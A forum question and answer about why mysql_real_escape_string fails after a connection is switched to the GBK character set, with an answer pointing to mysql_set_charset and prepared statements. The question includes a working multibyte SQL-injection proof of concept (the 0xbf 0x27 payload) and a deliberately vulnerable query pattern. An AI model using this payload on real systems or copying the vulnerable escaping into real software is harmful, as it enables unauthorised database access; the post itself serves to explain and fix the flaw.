in documentation of mysql_real_escape_string() it say:
…,taking into account the current
character set of the connection so
that it is safe to place it in a
mysql_query()
now why didn’t it work correctly in this example?
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
we changed character-set by mysql_query("SET CHARACTER SET 'gbk'", $c) before calling mysql_real_escape_string, so why didn’t this function know new character-set?
SET CHARACTER SET/SET NAMESis not enough to protect against the GBK exploit, depending on what version of MySQL you are using.If you can, use
mysql_set_charset/mysqli_set_charsetor real prepared statements.You’ll also want to use MySQl 5.0.77 or better. See this earlier post of mine for more information. If you are using older versions of MySQL, you can be vulnerable without the
_set_charsetfunctions.Using prepared statements bypasses this problem entirely.